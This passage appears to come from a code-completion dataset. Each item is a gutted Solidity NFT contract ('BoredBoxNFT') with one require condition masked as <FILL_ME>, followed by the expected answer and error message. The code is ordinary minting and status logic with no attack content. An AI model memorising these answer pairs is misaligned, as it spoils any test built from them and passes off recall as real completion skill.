/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
uint256 length = tokenIds.length;
require(length > 0, "No token IDs provided");
uint256 tokenId;
for (uint256 i; i < length; ) {
tokenId = tokenIds[i];
require(tokenId > 0, "Invalid token ID");
require(<FILL_ME>)
require(token__status[tokenId] == TOKEN_STATUS__PENDING, "Not yet pending delivery");
token__status[tokenId] = 1;
token__opened_timestamp[tokenId] = block.timestamp;
emit Opened(tokenId);
unchecked {
++i;
}
}
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
}
}
| token__generation[tokenId]>0,"Box does not exist" | 219,860 | token__generation[tokenId]>0 |
"Not yet pending delivery" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
uint256 length = tokenIds.length;
require(length > 0, "No token IDs provided");
uint256 tokenId;
for (uint256 i; i < length; ) {
tokenId = tokenIds[i];
require(tokenId > 0, "Invalid token ID");
require(token__generation[tokenId] > 0, "Box does not exist");
require(<FILL_ME>)
token__status[tokenId] = 1;
token__opened_timestamp[tokenId] = block.timestamp;
emit Opened(tokenId);
unchecked {
++i;
}
}
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
}
}
| token__status[tokenId]==TOKEN_STATUS__PENDING,"Not yet pending delivery" | 219,860 | token__status[tokenId]==TOKEN_STATUS__PENDING |
"Not paused" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
require(<FILL_ME>)
box__validators[boxId][index] = ref_validator;
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
}
}
| all_paused||box__is_paused[boxId],"Not paused" | 219,860 | all_paused||box__is_paused[boxId] |
"New boxes are paused" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
require(<FILL_ME>)
require(open_time >= sale_time, "Open time must be after sale time");
uint256 last_boxId = current_box;
uint256 next_boxId = 1 + last_boxId;
uint256 last_upper_bound = box__upper_bound[last_boxId];
box__lower_bound[next_boxId] += 1 + last_upper_bound;
box__upper_bound[next_boxId] = last_upper_bound + quantity;
box__quantity[next_boxId] = quantity;
box__price[next_boxId] = price;
box__uri_root[next_boxId] = uri_root;
box__validators[next_boxId] = ref_validators;
box__sale_time[next_boxId] = sale_time;
box__open_time[next_boxId] = open_time;
box__cool_down[next_boxId] = cool_down;
current_box = next_boxId;
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
}
}
| !all_paused,"New boxes are paused" | 219,860 | !all_paused |
"ERC721Metadata: URI query for nonexistent token" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setBoxURI(uint256 boxId, string memory uri_root) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setIsPaused}
function setIsPaused(uint256 boxId, bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setAllPaused(bool is_paused) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-setAllPaused}
function setCoordinator(address coordinator_) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-setValidator}
function setValidator(
uint256 boxId,
uint256 index,
address ref_validator
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-newBox}
function newBox(
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) external payable onlyOwner {
}
/// @dev See {IBoredBoxNFT_Functions-withdraw}
function withdraw(address payable to, uint256 amount) external payable onlyOwner nonReentrant {
}
/// @dev See {IERC721Metadata-tokenURI}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(<FILL_ME>)
uint256 boxId = token__generation[tokenId];
string memory uri_root = box__uri_root[boxId];
require(bytes(uri_root).length > 0, "URI not set");
uint256 current__token__status = token__status[tokenId];
string memory uri_path;
if (current__token__status == TOKEN_STATUS__CLOSED) {
uri_path = "closed";
} else if (current__token__status == TOKEN_STATUS__OPENED) {
uri_path = "opened";
} else if (current__token__status == TOKEN_STATUS__PENDING) {
uri_path = "pending";
}
return string(abi.encodePacked("ipfs://", uri_root, "/", uri_path, ".json"));
}
/// @dev See {ERC721-_beforeTokenTransfer}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _mintBox(
address to,
uint256 boxId,
bytes memory auth
) internal nonReentrant {
}
}
| token__owner[tokenId]!=address(0),"ERC721Metadata: URI query for nonexistent token" | 219,860 | token__owner[tokenId]!=address(0) |
"URI not set" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
// +--------------------------------------------------+
// /| /|
// / | / |
// *--+-----------------------------------------------* |
// | | | |
// | | | |
// | | | |
// | | โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ | |
// | | โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ | |
// | | โโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ | |
// | | | |
// | | | |
// | | | |
// | +-----------------------------------------------+--+
// | / | /
// |/ |/
// *--------------------------------------------------*
import { BoredBoxStorage } from "@boredbox-solidity-contracts/bored-box-storage/contracts/BoredBoxStorage.sol";
import { IBoredBoxNFT_Functions } from "@boredbox-solidity-contracts/interface-bored-box-nft/contracts/IBoredBoxNFT.sol";
import { IValidateMint } from "@boredbox-solidity-contracts/interface-validate-mint/contracts/IValidateMint.sol";
import { Ownable } from "@boredbox-solidity-contracts/ownable/contracts/Ownable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { ERC721 } from "../contracts/token/ERC721/ERC721.sol";
/// @title Tracks BoredBox token ownership and coordinates minting
/// @author S0AndS0
/// @custom:link https://boredbox.io/
contract BoredBoxNFT is IBoredBoxNFT_Functions, BoredBoxStorage, ERC721, Ownable, ReentrancyGuard {
uint256 public constant VALIDATE_STATUS__NA = 0;
uint256 public constant VALIDATE_STATUS__PASS = 1;
uint256 public constant VALIDATE_STATUS__FAIL = 2;
/// Emitted after validateMint checks pass
event Mint(address indexed to, uint256 indexed tokenId);
/// Emitted after assets are fully distributed
// @param tokenId pointer into `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event Opened(uint256 indexed tokenId);
/// Emitted when client requests a Box to be opened
// @param from address of `msg.sender`
// @param to address of `token__owner[tokenId]`
// @param tokenId pointer into storage; `token__owner`, `token__opened_timestamp`, `token__status`, `token__generation`
event RequestOpen(address indexed from, address indexed to, uint256 indexed tokenId);
modifier onlyAuthorized() {
}
/// Called via `new BoredBoxNFT(/* ... */)`
/// @param name_ NFT name to store in `name`
/// @param symbol_ NFT symbol to pass to `ERC721` parent contract
/// @param coordinator_ Address to store in `coordinator`
/// @param uri_root string pointing to IPFS directory of JSON metadata files
/// @param quantity Amount of tokens available for first generation
/// @param price Exact `{ value: _price_ }` required by `mint()` function
/// @param sale_time The `block.timestamp` to allow general requests to `mint()` function
/// @param ref_validators List of addresses referencing `ValidateMint` contracts
/// @param cool_down Time to add to current `block.timestamp` after `token__status` is set to `TOKEN_STATUS__OPENED`
/// @custom:throw "Open time must be after sale time"
constructor(
address owner_,
string memory name_,
string memory symbol_,
address coordinator_,
string memory uri_root,
uint256 quantity,
uint256 price,
uint256 sale_time,
uint256 open_time,
address[] memory ref_validators,
uint256 cool_down
) ERC721(name_, symbol_) Ownable(owner_) {
}
/// @dev See {IBoredBoxNFT_Functions-mint}
function mint(uint256 boxId, bytes memory auth) external payable {
}
/// Mutates `token__status` storage if checks pass
/// @dev See {IBoredBoxNFT_Functions-setPending}
function setPending(uint256[] memory tokenIds) external payable onlyAuthorized {
}
/// @dev See {IBoredBoxNFT_Functions-box__allValidators}
function box__allValidators(uint256 boxId) external view virtual returns (address[] memory) {
}
/// @dev See {IBoredBoxNFT_Functions-setOpened}
function setOpened(uint256[] memory tokenIds) external payable onlyAuthorized {
}
